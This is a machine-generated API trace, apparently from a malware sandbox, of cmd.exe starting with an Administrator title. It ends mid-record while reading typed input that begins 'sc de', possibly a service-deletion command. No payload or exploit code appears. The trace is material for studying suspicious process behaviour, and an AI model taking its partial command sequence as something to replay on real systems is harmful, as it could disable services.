[0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x1, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x0, lpcbData=0x14e704*=0x4) returned 0x0 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x40, lpcbData=0x14e704*=0x4) returned 0x0 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x40, lpcbData=0x14e704*=0x4) returned 0x0 [0062.116] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x40, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.116] RegCloseKey (hKey=0x44) returned 0x0 [0062.116] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e708 | out: phkResult=0x14e708*=0x44) returned 0x0 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x40, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x1, lpcbData=0x14e704*=0x4) returned 0x0 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x1, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x0, lpcbData=0x14e704*=0x4) returned 0x0 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x9, lpcbData=0x14e704*=0x4) returned 0x0 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x4, lpData=0x14e720*=0x9, lpcbData=0x14e704*=0x4) returned 0x0 [0062.117] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e700, lpData=0x14e720, lpcbData=0x14e704*=0x1000 | out: lpType=0x14e700*=0x0, lpData=0x14e720*=0x9, lpcbData=0x14e704*=0x1000) returned 0x2 [0062.117] RegCloseKey (hKey=0x44) returned 0x0 [0062.117] time (in: timer=0x0 | out: timer=0x0) returned 0x5eb85713 [0062.117] srand (_Seed=0x5eb85713) [0062.117] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0062.117] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0062.117] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.118] GetProcessHeap () returned 0x1b0000 [0062.118] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1caa10 [0062.118] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1caa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0062.118] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0062.118] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0062.118] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0062.118] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0062.118] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0062.118] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0062.118] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0062.118] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0062.118] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0062.118] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0062.118] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0062.118] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0062.119] GetProcessHeap () returned 0x1b0000 [0062.119] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c94f0 | out: hHeap=0x1b0000) returned 1 [0062.119] GetEnvironmentStringsW () returned 0x1c8a60* [0062.119] GetProcessHeap () returned 0x1b0000 [0062.119] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xa94) returned 0x1cac30 [0062.119] FreeEnvironmentStringsW (penv=0x1c8a60) returned 1 [0062.119] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0062.119] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0062.119] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0062.119] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0062.119] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0062.119] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0062.119] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0062.119] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0062.119] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0062.119] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0062.119] GetProcessHeap () returned 0x1b0000 [0062.119] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x5c) returned 0x1cb6d0 [0062.120] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f510 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f510, lpFilePart=0x14f4f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f4f0*="Desktop") returned 0x25 [0062.120] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0062.120] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f220 | out: lpFindFileData=0x14f220*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x1cb740 [0062.120] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0062.120] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f220 | out: lpFindFileData=0x14f220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x1cb740 [0062.121] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0062.121] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0062.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f220 | out: lpFindFileData=0x14f220*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe797a530, ftLastAccessTime.dwHighDateTime=0x1d62701, ftLastWriteTime.dwLowDateTime=0xe797a530, ftLastWriteTime.dwHighDateTime=0x1d62701, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x1cb740 [0062.121] FindClose (in: hFindFile=0x1cb740 | out: hFindFile=0x1cb740) returned 1 [0062.121] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0062.121] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0062.121] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0062.121] GetProcessHeap () returned 0x1b0000 [0062.121] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cac30 | out: hHeap=0x1b0000) returned 1 [0062.121] GetEnvironmentStringsW () returned 0x1cb740* [0062.122] GetProcessHeap () returned 0x1b0000 [0062.122] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xae8) returned 0x1cc230 [0062.122] FreeEnvironmentStringsW (penv=0x1cb740) returned 1 [0062.122] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.122] GetProcessHeap () returned 0x1b0000 [0062.122] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cb6d0 | out: hHeap=0x1b0000) returned 1 [0062.122] GetProcessHeap () returned 0x1b0000 [0062.122] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4016) returned 0x1ccd20 [0062.123] GetProcessHeap () returned 0x1b0000 [0062.123] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccd20 | out: hHeap=0x1b0000) returned 1 [0062.123] GetConsoleOutputCP () returned 0x1b5 [0062.123] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0062.123] GetUserDefaultLCID () returned 0x409 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a837b50, cchData=8 | out: lpLCData=":") returned 2 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f620, cchData=128 | out: lpLCData="0") returned 2 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f620, cchData=128 | out: lpLCData="0") returned 2 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f620, cchData=128 | out: lpLCData="1") returned 2 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a84a740, cchData=8 | out: lpLCData="/") returned 2 [0062.124] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a84a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a84a460, cchData=32 | out: lpLCData="Tue") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a84a420, cchData=32 | out: lpLCData="Wed") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a84a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a84a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a84a360, cchData=32 | out: lpLCData="Sat") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a84a700, cchData=32 | out: lpLCData="Sun") returned 4 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a837b40, cchData=8 | out: lpLCData=".") returned 2 [0062.125] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a84a4e0, cchData=8 | out: lpLCData=",") returned 2 [0062.125] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0062.126] GetProcessHeap () returned 0x1b0000 [0062.126] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x20c) returned 0x1c95c0 [0062.126] GetConsoleTitleW (in: lpConsoleTitle=0x1c95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0062.127] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.127] GetFileType (hFile=0x120) returned 0x3 [0062.127] BrandingFormatString () returned 0x1c97e0 [0062.134] GetVersion () returned 0x1db10106 [0062.134] _vsnwprintf (in: _Buffer=0x14f790, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14f728 | out: _Buffer="6.1.7601") returned 8 [0062.134] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.134] GetFileType (hFile=0x120) returned 0x3 [0062.134] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a846340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0062.135] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a846340, nSize=0x2000, Arguments=0x14f730 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0062.135] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14f6b8, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f6b8*=0x24, lpOverlapped=0x0) returned 1 [0062.135] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f758 | out: _Buffer="\r\n") returned 2 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] GetFileType (hFile=0x120) returned 0x3 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.135] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f728, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f728*=0x2, lpOverlapped=0x0) returned 1 [0062.135] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x14f758 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] GetFileType (hFile=0x120) returned 0x3 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0062.135] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x14f728, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f728*=0x3f, lpOverlapped=0x0) returned 1 [0062.135] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f758 | out: _Buffer="\r\n") returned 2 [0062.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.135] GetFileType (hFile=0x120) returned 0x3 [0062.136] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.136] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f728, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f728*=0x2, lpOverlapped=0x0) returned 1 [0062.136] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0062.136] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0062.136] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0062.136] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0062.136] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.136] GetFileType (hFile=0xb8) returned 0x3 [0062.136] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0062.137] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x14f580 | out: TokenHandle=0x14f580*=0x0) returned 0xc000007c [0062.137] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x14f580 | out: TokenHandle=0x14f580*=0x50) returned 0x0 [0062.137] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x14f590, TokenInformationLength=0x4, ReturnLength=0x14f598 | out: TokenInformation=0x14f590, ReturnLength=0x14f598) returned 0x0 [0062.137] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x14f598, TokenInformationLength=0x4, ReturnLength=0x14f590 | out: TokenInformation=0x14f598, ReturnLength=0x14f590) returned 0x0 [0062.137] NtClose (Handle=0x50) returned 0x0 [0062.137] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x14f560, nSize=0x0, Arguments=0x14f568 | out: lpBuffer="韠\x1c") returned 0xf [0062.137] GetProcessHeap () returned 0x1b0000 [0062.137] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1b1ab0 [0062.137] GetConsoleTitleW (in: lpConsoleTitle=0x14f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0062.137] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0062.137] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0062.138] GetProcessHeap () returned 0x1b0000 [0062.138] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0062.138] LocalFree (hMem=0x1c97e0) returned 0x0 [0062.138] GetProcessHeap () returned 0x1b0000 [0062.138] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa10 | out: hHeap=0x1b0000) returned 1 [0062.139] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0062.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.139] GetFileType (hFile=0x120) returned 0x3 [0062.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0062.139] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0062.139] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0062.139] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0062.139] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0062.139] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0062.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.139] GetFileType (hFile=0x120) returned 0x3 [0062.139] _get_osfhandle (_FileHandle=1) returned 0x120 [0062.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0062.139] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0062.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.139] GetFileType (hFile=0xb8) returned 0x3 [0062.139] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.139] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.140] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.140] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0062.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.208] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.208] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0062.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.208] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.208] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0062.208] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.208] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0062.209] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0062.209] _get_osfhandle (_FileHandle=0) returned 0xb8 [0062.209] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.209] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, 